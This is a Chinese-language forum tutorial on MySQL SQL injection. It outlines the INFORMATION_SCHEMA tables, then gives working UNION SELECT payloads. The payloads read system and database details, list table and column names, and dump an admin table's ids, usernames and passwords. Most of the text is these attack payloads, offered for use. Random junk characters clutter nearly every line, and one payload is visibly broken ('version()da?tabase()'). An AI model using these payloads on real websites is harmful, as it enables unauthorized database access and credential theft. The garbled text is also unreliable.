本文介绍MYSQL盲注的一些语句和方法
# ]5 f" V7 W( |/ b4 ^ |
2 p& M$ X( b5 D9 Q5 M \- m4 u6 q学习盲注前先了解下 IFORMATION_SCHEMA 库, R& K# \ R A4 B# g. v7 |$ I, l
9 l1 S4 S4 @! [$ U3 MMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
, o" p% g" g2 Y% x存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
4 I/ N1 M4 X7 K7 B1.得到所有数据库名:# I4 F# z/ K5 q Z% M; F$ C
|SCHEMATA ->存储数据库名的表
5 J% K* t* x4 U* h! ~1 v, m|---字段:SCHEMA_NAME ->数据库名称" S b& x) \2 r! Z; V' o$ S# |
9 t9 }* S3 _% n0 Y% j
|TABLES ->存储表名, s. X- J% `- w u
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
( g- n) e$ U7 h# N: u4 z% c|---字段:TABLE_NAME ->存储表的表名; w. d4 V s$ V" v* _7 e
E/ P# E8 J6 n( C% o
|COLUMNS ->存储的字段名表: o; r7 f+ E! o( P: M
|---字段:TABLE_SCHEMA ->该字段所属数据库名
+ R7 c4 V8 p" g4 x, J- S/ S& r|---字段:TABLE_NAME ->存储所属表的名称3 B# t, q. E* u1 z
2 Z. X+ [ E7 Q9 G" J m, y
|---字段:COLUMN_NAME ->该字段的名称8 @; ~. n) \- q- Y
5 r: v) r% c3 J2 H: ~
1 x7 w6 w/ q) V" o- ^' H; _' L% {2 }
- }7 S5 ~: F1 V w/ H8 K###########################################################################
. H- ^4 Q# \# c* W0 m
# h, d. J( [) E5 C/ Y0x001 获取系统信息:
4 n; M3 b! I9 z0 i# W& e+ g
/ y! `9 V/ p8 J5 g* lunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*( U* z6 b0 ^; T1 w& q9 L& p
- |% A! V0 t! x$ U$ F/*
: g9 I. D8 u1 C: v3 ^! g$ b9 C
- Z' U4 o: L+ h+ w% e ]3 ^. d@@global.version_compile_os 获取系统版本
% c& K( J5 G, U
) L' q2 H0 T: `" L@@datadir 数据库路径* w! p4 m) S& i# \
database() 当前数据库名称2 _" l% U6 x1 A8 F7 [
0x3c62723e 换行HEX值7 [ _# ~8 t; U* k9 n6 F
: C8 J/ S: I& B4 ]- X) \*/
2 s: k" c" Q% ^4 q4 l6 M
; P! l' S* h- e# J {
7 e' A& _% F! y$ C! l. @0 O3 G Z5 k9 [
######################################################################
' S- U, M6 E5 W& \! B) _+ E i1 s
3 |1 r, f0 @* I# ?& d0 O( \$ z0x002 获取表名
( G; o) w" a! A
' a- W( e; a3 a6 Eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
; [' H& J8 y, D" X
7 J; @0 i- Z! q, D6 U, L+ s2 p
4 p# `& i( y0 L3 Q# g5 j0 }1 @7 S& d/ T$ j4 p2 D& e5 o
/*
# i! n3 ]- H/ |* A& w$ J4 e6 E8 m; B$ g6 T4 ^; _% i
0x67617264656e 为当前数据库名
& f O. \" J0 I
8 U& X2 {8 L% o" E1 N6 t1 Agroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名9 F( _# S. b R: l6 n6 ^
! ~5 z! F( u9 P3 [! q5 z*/
, Z5 ]1 i) k9 |" F! Q; ]
) a2 T0 X- g( ~' T+ C$ A2 E######################################################################
( |) ]9 N% K# c1 b$ I4 Y
0 U- k/ E& T/ Z: N, B" p9 v+ \
6 d' t7 B* n% d T# B- d3 r9 M$ Q7 @- g2 r8 _9 D! ^1 n' S( f
0x003 获取字段9 u' S e ~7 V& g3 q
3 @0 q/ R$ H1 b7 Q0 M. _
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*9 j, Y* o& F8 |+ L
$ A' |$ h% S+ T0 e7 L/*- }! {8 A" Z) K& e/ G- W
$ k. ?- C0 u5 v3 N( q! k( M9 Vgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段 }# [+ z& B# P2 x( n4 v1 N
9 @ d0 D% \" C. M; l' D; O0x61646d696e ->选择一个表" H, L) ?# z7 N* t6 U
# ^' X; e9 Q2 @# F8 e$ v
0x67617264656e ->数据库名4 }( F: u5 k6 ^
$ @# q# _ o. A/ Q7 @*/0 I+ q; \5 Y: b2 e
' E& X! h% S" L" F3 a( q+ s
#####################################################################
9 r4 X0 Q! P8 V r. w; p7 L5 V% Z+ A4 j
9 `* y5 M! r" y* Y2 h/ Q9 s7 m
2 ?1 L, w w) Y7 A. F- j0x004 获取数据
" M7 E5 D1 r7 ^. Q5 Z
: ]9 n9 x& q- a) Q/ @& Aunion select 1,2,3
0 {8 v9 H1 O# t- q. X,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin; L2 X; T" G3 W3 [7 i
! J5 ]6 j! B* A punion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
% U4 e, d. w* o$ m6 d- P4 K; {
6 u( H! B4 Y) g1 j8 u
# @; m/ i' K$ G7 ~8 t! e
7 z$ ^7 T5 G' T+ j0 h/*
" Q+ o# H! w$ a+ O @( k
2 i* h' x4 n4 @ @6 S; q: P0x3c62723e 换行符号HEX编码
I/ l$ f. i1 O% ]5 z- c: x ~" K4 k# R5 l, `
group_concat 同时获得该字段所有数据4 ?8 F) F" U& u# ?3 d! y9 [7 _1 x- \& z
* a! U7 e% x. D& b*/
+ a8 L, g& w" y. y1 j9 h) U1 v9 W v |+ P0 @
|